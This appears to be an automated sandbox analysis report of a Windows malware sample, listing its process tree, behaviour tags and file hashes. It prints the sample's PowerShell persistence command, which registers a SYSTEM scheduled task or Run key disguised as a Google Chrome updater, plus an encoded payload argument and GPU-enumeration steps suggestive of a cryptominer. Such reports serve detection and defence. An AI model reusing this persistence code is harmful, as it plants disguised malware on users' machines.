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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4932
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1676
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2788
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:5088
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:972
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4668
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:5032
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:2724
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
109KB
MD5493d8637d946cf53df10bad8cb6812f4
SHA1c2cf7e503b0614b5bf23eb64bdb6dda8f74a6a20
SHA2569dda566910012f8bf21b8d3e76b0ed0da4d92047dcc5dadadc269d2839a9c5d7
SHA5125d74264166781a63cf24f77803de58344dfd897d37c7457d612ab85c83ba03da6be3f3e0b925b54d8ac4b32430c94ac9fb92426aa32d7ae3d229d7b73fad2c46
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Filesize
140KB
MD547fc12e320a44e32b733d33f18fe7310
SHA177244933c66cc850efd57d55de2d230d33187513
SHA256efd9fae07fb6e9b1a5fead65bdc9da93b9c675137bd9f639160dee610faa7950
SHA512a555cb4e5b5a62dd82fede68f858e4069f1a4021a6502670e7a1ac010bb715a4eadccb1c1512b9f331825bb6191e7ac30196b00cf8c89a344a2973d6d2bc1bca
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
1KB
MD5d5cbd2fca9cb176ad25444fa061f848d
SHA1720cbda940ec7c13e9c0fb6f4725dd281507a94b
SHA2564e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
SHA512fb80bcd8e49fff4d4a4fcb5844691d674cd749cbc84b75feac37b83401b8beff0ee9c6f122f683c98da9b5ab15d4dd803c7e2aea8721f90f60dbb9d19c9a0eb2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5b3312e2cb189752db27c43967a36e062
SHA1d2f04147fbf9d4b57a9aa31ba43a0487aad04e60
SHA256a2689911b5e7dba34376e0510761ffd6ed3f327aedecf055c322f8bb5a6a0f67
SHA512da536d6aaf3f82a8cac498eb463b088cd92d2a2d8a6f804d2be04336d2355f97f60716f8d237196ba2fdd04932ed447d7d64fec2d837f14d46e6aa5c654c2977
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5ce6982621e15e787117f40a54d10707b
SHA1777525e229cf77293235af784ecf076db4a77f37
SHA25616ea99308e5a87427f6e7711341dfc9ec89e159749396e4cb7485c5f1abb3536
SHA5126cfec6f4cb06a185fd01b91aabdab2056b0ec73f26c99fbac8383110d91c4e7f60e546e161198179a95ed1059c38af0180288f9d651d9bf000ccd741be1f43ab